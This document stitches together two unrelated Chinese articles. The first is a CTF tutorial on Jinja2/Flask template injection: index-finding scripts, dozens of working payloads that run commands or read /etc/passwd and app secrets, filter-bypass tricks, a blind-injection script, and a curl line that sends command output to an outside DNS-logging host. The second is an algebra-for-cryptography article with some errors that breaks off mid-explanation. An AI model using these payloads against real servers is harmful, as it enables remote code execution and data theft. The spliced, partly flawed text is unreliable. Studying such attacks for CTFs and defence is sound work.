Python 3.7.8 >>> ''.__class__ <class 'str'> >>> "".__class__ <class 'str'> >>> [].__class__ <class 'list'> >>> ().__class__ <class 'tuple'> >>> {}.__class__ <class 'dict'>
第二步
目的:拿到object基类
用__bases__[0]拿到基类
Python 3.7.8 >>> ''.__class__.__bases__[0] <class 'object'>
用__base__拿到基类
Python 3.7.8 >>> ''.__class__.__base__ <class 'object'>
用__mro__[1]或者__mro__[-1]拿到基类
Python 3.7.8 >>> ''.__class__.__mro__[1] <class 'object'> >>> ''.__class__.__mro__[-1] <class 'object'>
第三步
用__subclasses__()拿到子类列表
Python 3.7.8 >>> ''.__class__.__bases__[0].__subclasses__() ...一大堆的子类
第四步
在子类列表中找到可以getshell的类
寻找利用类
在上述的第四步中,如何快速的寻找利用类呢
利用脚本跑索引
我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类
这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子
find.py
search = 'popen' num = -1 for i in ().__class__.__bases__[0].__subclasses__(): num += 1 try: if search in i.__init__.__globals__.keys(): print(i, num) except: pass
我们运行这个脚本
λ python3 find.py <class 'os._wrap_close'> 128
可以发现object基类的第128个子类名为os._wrap_close的这个类有popen方法
先调用它的__init__方法进行初始化类
Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__ <function _wrap_close.__init__ at 0x000001FCD0B21E58>
再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值
Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__ {'__name__': 'os'...中间省略...<class 'os.PathLike'>}
然后就可以调用其中的popen来执行命令
Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() 'desktop-t6u2ptl\\think\n'
但是上面的方法仅限于在本地寻找,因为在做CTF题目的时候,我们无法在题目环境中运行这个find.py,这里用hhhm师傅的一个脚本直接去寻找子类
我们首先把所有的子类列举出来
Python 3.7.8 >>> ().__class__.__bases__[0].__subclasses__() ...一大堆的子类
然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类
find2.py
import json a = """ <class 'type'>,...,<class 'subprocess.Popen'> """ num = 0 allList = [] result = "" for i in a: if i == ">": result += i allList.append(result) result = "" elif i == "\n" or i == ",": continue else: result += i for k,v in enumerate(allList): if "os._wrap_close" in v: print(str(k)+
又或者用如下的requests脚本去跑
find3.py
import requests import time import html for i in range(0,300): time.sleep(0.06) payload="{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i url='http://ip:5000?name=' r = requests.post(url+payload) if "catch_warnings" in r.text: print(r.text) print(i) break
tips:后面的各种方法都是利用这种思路寻找到可以getshell类的位置
python3的方法
os._wrap_close类中的popen
在上面的例子中就是用的这个方法,payload如下
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
__import__中的os
把上面find.py脚本中的search变量换成__import__
λ python3 find.py <class '_frozen_importlib._ModuleLock'> 75 <class '_frozen_importlib._DummyModuleLock'> 76 <class '_frozen_importlib._ModuleLockManager'> 77 <class '_frozen_importlib._installed_safely'> 78 <class '_frozen_importlib.ModuleSpec'> 79
可以看到有5个类下是包含__import__的,随便用一个即可
payload如下
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
python2的方法
因为python3和python2两个版本下有差别,这里把python2单独拿出来说
tips:python2的string类型不直接从属于属于基类,所以要用两次 __bases__[0]
Python 2.7.10 >>> ''.__class__.__bases__[0] <type 'basestring'> >>> ''.__class__.__bases__[0].__bases__[0] <type 'object'>
file类读写文件
本方法只能适用于python2,因为在python3中file类已经被移除了
>>> [].__class__.__bases__[0].__subclasses__()[40] <type 'file'>
可以使用dir查看file对象中的内置方法
>>> dir(().__class__.__bases__[0].__subclasses__()[40]) ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook
然后直接调用里面的方法即可,payload如下
读文件
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
warnings类中的linecache
本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals',猜测应该是python3中func_globals被移除了还是啥的,如果不对请师傅们指出
我们把上面的find.py脚本中的search变量赋值为linecache,去寻找含有linecache的类
λ python find.py (<class 'warnings.WarningMessage'>, 59) (<class 'warnings.catch_warnings'>, 60)
后面如法炮制,payload如下
{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}
python2&3的方法
这里介绍python2和python3两个版本通用的方法
__builtins__代码执行
这种方法是比较常用的,因为他两种python版本都适用
首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__builtins__这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。
把上面find.py脚本search变量赋值为__builtins__,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧
再调用eval等函数和方法即可,payload如下
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} {{().__class__.__bases__[0
又或者用如下两种方式,用模板来跑循环
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
读取文件payload
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
然后这里再提一个比较少人提到的点
warnings.catch_warnings类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,也就是说如果可以找到warnings.catch_warnings类,则可以不使用globals,payload如下
{{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}
总而言之,原理都是先找到含有__builtins__的类,然后再进一步利用
subprocess.Popen进行RCE
我们可以用find2.py寻找subprocess.Popen这个类,可以直接RCE,payload如下
{{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
直接利用os
一开始我以为这种方法只能用于python2,因为我在本地实验的时候python3中无法找到直接含有os的类,但后来发现python3其实也是能够用的,主要是环境里面有这个那个类才行
我们把上面的find.py脚本中的search变量赋值为os,去寻找含有os的类
λ python find.py (<class 'site._Printer'>, 69) (<class 'site.Quitter'>, 74)
后面如法炮制,payload如下
{{().__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()}}
获取配置信息
我们有时候可以使用flask的内置函数比如说url_for,get_flashed_messages,甚至是内置的对象request来查询配置信息或者是构造payload
config
我们通常会用{{config}}查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG'),就可以直接访问{{config['FLAG']}}或者{{config.FLAG}}获得flag
request
jinja2中存在对象request
Python 3.7.8 >>> from flask import Flask,request,render_template_string >>> request.__class__.__mro__[1] <class 'object'>
查询一些配置信息
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}
构造ssti的payload
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} {{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
url_for
查询配置信息
{{url_for.__globals__['current_app'].config}}
构造ssti的payload
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
get_flashed_messages
查询配置信息
{{get_flashed_messages.__globals__['current_app'].config}}
构造ssti的payload
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
绕过黑名单
CTF中一般考的就是怎么绕过SSTI,我们学会如何去构造payload之后,还要学习如何去绕过一些过滤,然后下面由于环境的不同,payload中类的位置也是就那个数字可能会和文章中不一样,需要自己动手测一下
过滤了点
过滤了.
在python中,可用以下表示法可用于访问对象的属性
{{().__class__}} {{()["__class__"]}} {{()|attr("__class__")}} {{getattr('',"__class__")}}
也就是说我们可以通过[],attr(),getattr()来绕过点
使用[]绕过
使用访问字典的方式来访问函数或者类等,下面两行是等价的
{{().__class__}} {{()['__class__']}}
以此,我们可以构造payload如下
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
使用attr()绕过
使用原生JinJa2的函数attr(),以下两行是等价的
{{().__class__}} {{()|attr('__class__')}}
以此,我们可以构造payload如下
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
使用getattr()绕过
这种方法有时候由于环境问题不一定可行,会报错'getattr' is undefined,所以优先使用以上两种
Python 3.7.8 >>> ().__class__ <class 'tuple'> >>> getattr((),"__class__") <class 'tuple'>
过滤引号
过滤了'和"
request绕过
flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过
request.args.name request.cookies.name request.headers.name request.values.name request.form.name
payload如下
GET方式,利用request.args传递参数
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
POST方式,利用request.values传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} post:arg1=open&arg2=/etc/passwd
Cookie方式,利用request.cookies传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} Cookie:arg1=open;arg2=/etc/passwd
剩下两种方法也差不多,这里就不赘述了
chr绕过
{{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
这里先爆破subclasses,获取subclasses中含有chr的类索引
然后就可以用chr来绕过传参时所需要的引号,然后需要用chr来构造需要的字符
这里我写了个脚本可以快速构造想要的ascii字符
<?php $a = 'whoami'; $result = ''; for($i=0;$i<strlen($a);$i++) { $result .= 'chr('.ord($a[$i]).')%2b'; } echo substr($result,0,-3); ?> //chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)
最后payload如下
{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
过滤下划线
过滤了_
编码绕过
使用十六进制编码绕过,_编码后为\x5f,.编码后为\x2E
payload如下
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
这里甚至可以全十六进制绕过,顺便把关键字也一起绕过,这里先给出个python脚本方便转换
string1="__class__" string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" def tohex(string): result = "" for i in range(len(string)): result=result+"\\x"+hex(ord(string[i]))[2:] print(result) tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f print(string2) #__class__
随便构造个payload如下
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d
request绕过
在上面的过滤引号已经介绍过了,这里不再赘述
过滤关键字
首先要看关键字是如何被过滤的
如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过
如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下
拼接字符绕过
这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+号或者不用
{{()['__cla'+'ss__'].__bases__[0]}} {{()['__cla''ss__'].__bases__[0]}}
随便写个payload如下
{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
或者可以使用join来进行拼接
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
看到有师傅甚至用管道符加上format方法来拼接的骚操作,也就是我们平时说的格式化字符串,其中的%s被l替换
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
使用使用str原生函数
replace绕过,payload如下
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
decode绕过,但这种方法经过测试只能在python2下使用,payload如下
{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
替代的方法
过滤init,可以用__enter__或__exit__替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
过滤config,我们通常会用{{config}}获取当前设置,如果被过滤了可以使用以下的payload绕过
{{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context}}
过滤中括号
过滤了[和]
数字中的中括号
在python里面可以使用以下方法访问数组元素
Python 3.7.8 >>> ["a","kawhi","c"][1] 'kawhi' >>> ["a","kawhi","c"].pop(1) 'kawhi' >>> ["a","kawhi","c"].__getitem__(1) 'kawhi'
也就是说可以使用__getitem__和pop替代中括号,取列表的第n位
payload如下
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法的中括号
调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号
可用__getattribute__绕过
{{"".__getattribute__("__cla"+"ss__").__base__}}
或者可以配合request一起使用
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
payload如下
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
这种同样是绕过关键字的方法之一
过滤双大括号
过滤了{{和}}
使用dns外带数据
用{%%}替代了{{}},使用判断语句进行dns外带数据
{% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}
然后在ceye平台接收数据即可
盲注
如果上面的方法不行的话,可以考虑使用盲注的方式,这里附上p0师傅的脚本
# -*- coding: utf-8 -*- import requests url = 'http://ip:5000/?name=' def check(payload): r = requests.get(url+payload).content return 'kawhi' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0,100): for c in
print标记
我们上面之所以要dnslog外带数据以及使用盲注,是因为用{%%}会没有回显,这里的话可以使用print来做一个标记使得他有回显,比如{%print config%},payload如下
{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
payload进阶与拓展
这里我基于上面绕过黑名单各种方法的组合,对CTF中用到的一些方法和payload再做一个小的总结,不过其实一般来说,只要不是太偏太绕的题,上面的方法自行组合一下都够用了,下面只是作为一个拓展
过滤_和.和'
这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoader的get_data()方法,第一个是参数0,第二个为要读取的文件名,payload如下
{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}
使用十六进制绕过后,payload如下
{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}
过滤args和.和_
之前安恒二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()绕过点,values绕过args,payload如下
{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])
导入主函数读取变量
有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag文件加载到flag这个变量里面了
f = open('/flag','r') flag = f.read()
我们就可以通过import是导入__main__主函数去读变量,payload如下
{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}
Unicode绕过
这种方法是从https://xz.aliyun.com/t/8581#toc-4学到的,我们直奔主题看payload
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}
这里的print绕过{{}}和attr绕过.上面已经说过了这里不赘述
然后这里的lipsum用{{lipsum}}测了一下发现是个方法
<function generate_lorem_ipsum at 0x7fcddfa296a8>
然后用他直接调用__globals__发现可以直接执行os命令,测了一下发现__builtins__也可以用,又学到了一种新方法,只能说师傅们tql
{{lipsum.__globals__['os'].popen('whoami').read()}} {{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
回到正题,这里使用了Unicode编码绕过关键字,下面两行是等价的
{{()|attr("__class__")}} {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
知道了这两点之后,那个官方给的payload就很明朗了,解开编码后如下
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}
然后我这里顺便给个Unicode互转的php脚本
<?php //字符串转Unicode编码 function unicode_encode($strLong) { $strArr = preg_split('/(?<!^)(?!$)/u', $strLong);//拆分字符串为数组(含中文字符) $resUnicode = ''; foreach ($strArr as $str) { $bin_str = ''; $arr = is_array($str) ? $str : str_split($str);//获取字符内部数组表示,此时$arr应类似array(228, 189, 160) foreach ($arr as $value)
魔改字符
这种方法是在太湖杯easyWeb这道题目学到的,上面所说的过滤双大括号,在一些特定的题目可以魔改{{}},比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法
可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{,就会出现类似的字符,就可以找到︷和︸了,网址:https://www.compart.com/en/unicode/U+FE38
payload如下
︷︷config︸︸ %EF%B8%B7%EF%B8%B7config%EF%B8%B8%EF%B8%B8
还可以使用中文的字符魔改
{ { } } [ [ ] ] ' ' " "
payload如下
{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
总结
因为水平和文章篇幅有限,可能还有一些bypass方法没有提到,还有就是CTF中也不只考Jinja2这种模板,还有另外的Twig模板,smart等模板,这些就等以后有必要再更吧,最后就是有不足之处请各位师傅指出
相关实验:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID87ed-2223-40e5-8083-f5c55d69af28 (通过该实验了解服务端模板注入漏洞的危害与利用。)
参考连接
https://p0sec.net/index.php/archives/120/https://www.jianshu.com/p/a736e39c3510https://www.redmango.top/article/43https://xz.aliyun.com/t/8029https://xz.aliyun.com/t/7746
不学点《近世代数》怎么学好现代密码学
前言:
前面介绍了RSA公钥加密算法,而在公钥加密体系中,另一类重要的加密体制是基于离散对数的难解性,如ECC椭圆曲线加密、Diffie-Hellman算法、ElGamal算法等。为了解决离散对数问题,我们需要先学习《近世代数》。
本文涉及知识点实操练习——https://www.yijinglab.com/cour.do?w=1&c=c990c65e-108f-4d10-9efa-4aad77fc852b(密码学是研究如何隐密地传递信息的学科。在现代特别指对信息以及其传输的数学性研究,常被认为是数学和计算机科学的分支,和信息论也密切相关。密码学是信息安全等相关议题,如认证、访问控制的核心。)
代数基本知识:
1.群
2.环
3.域
4.有限域GF()
5.多项式环```
群:
定义:
设G是非空集合,若在G内定义一种代数运算$\bigodot$,且满足下列4个条件,则称G(对运算$\bigodot$)构成一个群:
(1) 封闭性:对任意的a,b $\epsilon$ G,恒有 a$\bigodot$b $\epsilon$ G;
(2) 结合律:对任意的a,b,c $\epsilon$ G,恒有 (a$\bigodot$b)$\bigodot$c = a$\bigodot$(b$\bigodot$c)
(3) 有单位元:存在e $\epsilon$ G,对任意的a $\epsilon$ G,有 a$\bigodot$e=e$\bigodot$a=a
(4) 每个元存在逆元:对任意a $\epsilon$ G,存在b $\epsilon$ G,使得 a$\bigodot$b=b$\bigodot$a=e,称 b 为 a 的逆元。
其中运算 $\bigodot$ 可以是通常的乘法或者是加法。若 $\bigodot$ 为乘法,则称G为乘法群,单位元记为1.若$\bigodot$为加法,则称G为加法群,单位元记为0。一般情况下,记:$ \underbrace{a \bigodot a \bigodot \cdots \bigodot a }_{k个}=a^k$**群 G 所含元素的个数,称为该群的阶。若群G含有有限个元素,则称G为有限群,否则,为无限群。若对群G中任何a,b $\epsilon$ G,有 a $\bigodot$ b = b $\bigodot$ a,则称G为交换群或Abel群。
循环群:
定义:
设($G,\cdot)$是一个群如果群 $G$ 中存在一个元素 $\alpha$,使得对群 $G$ 任意元素 $b$ 都存在一个整数 $i$ ,使得 $b=\alpha^i$,则我们称 $G$ 是一个循环群。元素 $\alpha$ 是 $G$ 的一个生成元
加法循环群:
---例:$(Z_6,\oplus)$是循环群,其中$Z_6=${0,1,2,3,4,5} ,$\oplus$ 为模6加法,其生成元为 1 或 5。生成元的含义可以理解为:1或5的加法,可以实现群 $Z_6$ 内所有的元素,如:5+5+.....+5 mod 6 = 5,35 mod 6 = 5
10 mod 6 = 4,40 mod 6 = 4,
15 mod 6 = 3,45 mod 6 = 3
20 mod 6 = 2,50 mod 6 = 2
25 mod 6 = 1,55 mod 6= 1
30 mod 6 = 0,60 mod 6= 0
所以通过 生成元 5 的模6的加法,可以得到群内的所有元素,实现循环群。而 2,3,4不能作为生成元,是因为这些元素的模6加法并不能得到群内所有的元素,且并不是连续循环的数。
乘法循环群也是同样的道理。
有限循环群的生成元还具有以下性质:
(元素的阶):循环群$(G,\cdot)$,$\alpha$ 为 $G$ 的一个生成元,1为 $G$ 的单位元,$G$ 的阶为 $n$ ,则:$\alpha^n=1$
环:
定义:
若集合R上定义了两种二元运算:+(加法)及 x(乘法),且满足下列4个条件,则称R对这两种运算构成了一个环,记为 (R,$+$,$\times$):(1) (R,$+$)是一个Abel群,其恒等元为零元,用0表示。
(2) 对任何a,b,c $\epsilon$ R,有$a\times (b \times c)=(a \times b) \times c$
(3)如果一个环(R,$+$,$\times$)还满足条件:对任意的a,b$\epsilon$ R,有$a\times b =b\times a$,则称环(R,$+$,$\times$)为交换环。
域:
定义:
设$F$是一个交换环,若$F$中的所有的非零元素对乘法都存在逆元,则称$F$为一个域。如果一个域所包含的元素是有限的则称此域是有限域,否则称为无限域。**有限域中所含元素的个数称为有限域(R,$+$,$\times$)的阶。**
有限域:
定义1:
有限域又常称为Galois域,并以GF(q)或$F_q$表示,其中q表示有限域的阶。
定义2:
设$F_1$、$F_2$是两个域,称$F_1$ 到 $F_2$ 的一个可逆映射 $\sigma$ 为一个同构(映射),如果 $\sigma$ 是保持运算的映射,即对任意的$a,b cF_1$,有:$\sigma(a+b)=\sigma(a)+\sigma(b)$,$\sigma(a \cdot b)=\sigma(a) \cdot \sigma(b)$
定理3:
设$F$是有限域,则有:
(1) 在同构的意义下,阶与$F$相同的有限域只有一个。同阶的有限域必同构。
(2)有限域 $F$的阶必为某个素数的幂.
(3) 设$F$的阶为 $q=p^n$,p是一个素数,则$F$的任何一个子域的阶为$p^m$,其中m是n的因子。
(4) 记$F_q^*$为有限域$F_q$的所有非零元构成的集合,则$F_q^*$关于乘法做成一个阶为 $q-1$ 的循环群。因此,对所有的 $a\epsilon F_q$,有 $a^q=a$ 。这个群称为$F_q$的乘法群,乘法群 $F_q^*$ 的生成元称为 $F_q$ 的本原元,共有 $\phi(q-1)$ 个本原元。
(5) 设$F_q$(其中$q=p^n$)是一个有限域,则对任何 $a,b\epsilon F_q$及非负整数 $k\geqslant 0$,有:$(a+b)^{p^k}=a^{p^k}+b^{p^k}$
多项式环:
定义:
设$F$是一个域,多项式$f(x)=a_nx^n+\cdot\cdot\cdot+a_1x+a_0$,其中$a_i\epsilon F$,$n\epsilon N$。
若$a_n \neq 0$,称n为该多项式的**次数**,称$a_n$为首项系数。
对于域 $F$ 上 $x$ 的多项式的全体组成的集合记为 $F[x]$ 。 多项式 $a(x)$ 的次数记为 $deg(a(x))$
设存在多项式 $f(x)与g(x)$,满足:
1.加法运算: $f(x)+g(x) \epsilon F[x]$
2.乘法运算: $f(x)\cdot g(x) \epsilon F[x]$ 容易验证 $F[x]$ 对这样定义的多项式加法与乘法构成一个交换环,称为多项式交换环。
不可约多项式:
设 $f(x)$ 是 $F[x]$ 上的一个次数大于零的多项式,如果它不能分解成两个低次数的多项式的乘积,则称 $f(x)$ 是 $F$ 上的不可约多项式。
设 $p(x)$ 是 $F[x]$ 中的 $n$ 次不可约多项式,令 $F[x]_{p(x)}$ 为 $F[x]$ 中所有次数小于 $n$ 的多项式的集合。
定义 $F[x]_{p(x)}$上的二元运算 $\oplus$ 和 $\otimes$ 如下:任取 $a(x),b(x)\epsilon F[x]_{p(x)}$,
$a(x)\oplus b(x)= (a(x)+b(x)) mod$ $p(x)$
$a(x)\otimes b(x)= (a(x)\cdot b(x)) mod$ $p(x)$
加密算法
ElGamal算法Menezes-Vanstone椭圆曲线密码体制Diffie-Hellman算法椭圆曲线上的Diffie-Hellman算法椭圆曲线加密ECC```
$Z_p$上的离散对数问题:
$Z_p$上的离散对数问题是指对于循环群 $Z_p$ (p是一个素数),$\alpha \epsilon Z_p$是群 $Z_p$ 的生成元,对于任意的 $c\epsilon Z_p$,寻找唯一 的整数 $d(0\leqslant d\leqslant p-1)$满足: $C\equiv a^d (modp)$ 我们把整数 $d$ 记为 $log_{\alpha}c$,并称之为离散对数。
ElGamal算法:
背景:ElGamal是建立在解有限乘法群上的离散对数问题的困难性基础上的一种公钥密码体制。
算法描述:
(1) 公开参数:取大素数 $p$ ,并取 $\alpha$ 是乘法群 $Z_p^*=$ { $1,\cdot\cdot\cdot,p-1$} 的一个生成元。
(2) 密钥生成:随机选取整数 $d$:$0 < d < (p-1)$并计算 $\beta =\alpha^d$ $mod$ $p$。
公开参数:$p 和 \alpha$
公钥:$\beta$
私钥:$d$(3) 加密运算:对于明文 $m$ ,选取随机整数 $k$ :$0 < k < (p-1)$,计算:
$c_1=\alpha^k$ $mod$ $p$,
$c_2=m\beta^k$ $mod$ $p$
得到密文 $c=(c_1,c_2)$(4) 解密运算:对于密文 $c=(c_1,c_2)$ ,用私钥 $d$ 解密。$m=c_2(c_1^d)^{-1}$ $mod$ $p$
计算离散对数的算法:
1. Shanks算法
2. 小步大步发(baby-step 、giant-step)算法
3. Pohlig-Hellman算法
4. 指数演算法(index-calculus)
Menezes-Vanstone椭圆曲线密码体制
背景:Menezes-Vanstone椭圆曲线密码体制是ElGamal密码体制在椭圆曲线上的模拟。
算法描述:
(1) 公开参数:设 $p>3$是一个素数, E是有限域 $F_p$ 上的由方程 $y^2=x^3+ax+b$表示的椭圆曲线,$E(F_p)$是相应的 Abel 群。G是 $E(F_p)$ 中具有较大素数阶 $n$ 的一个点。
(2) 生成密钥:随机选取整数 $d$ : $2\leqslant n\leqslant n-1$,计算 $P=dG$。
$d$是私钥
$P$是公钥
(3) 加密运算:对任意明文 $m=(m_1,m_2)$,随机选取一个整数 $k$:$1\leqslant k\leqslant n-1$,使得$(x,y)=kP$,满足 $x$ 与 $y$ 均为非零元素。并计算:$C_0=kG$
$c_1=m_1x$ $mod$ $p$
$c_2=m_2y$ $mod$ $p$
得到密文为 $(C_0,c_1,c_2)$(4) 解密运算:1. 计算 $dC_0=(x,y)$2. 计算 $m_1=c_1x^{-1}$ $mod$ $p$3. 计算 $m_2=c_2y^{-1}$ $mod$ $p$即得明文为 $(m_1,m_2)$
Diffie-Hellman算法:
背景:Diffie-Hellman算法由Whitfield Diffie 和 Martin Hellman 提出,该算法的安全性也是基于一般有限域上的离散对数问题的难解性。
算法描述:
(1) 假设Alice和Bob之间要建立一个共享密钥。Alice和Bob首先选定一个大素数 $p$ ,并选 $g$ 为乘法群 $F_p^*$ 中的一个生成元。
(2) Alice选取一个私钥 a(整数):$1\leqslant a\leqslant p-2$,计算 $A=g^a$ $mod$ $p$。发送A给Bob。
(3) Bob选取一个私钥 b(整数):$1\leqslant b\leqslant p-2$,计算 $B=g^b$ $mod$ $p$。发送B给Alice。
(4) Alice 计算 $k=B^a$ $mod$ $p$
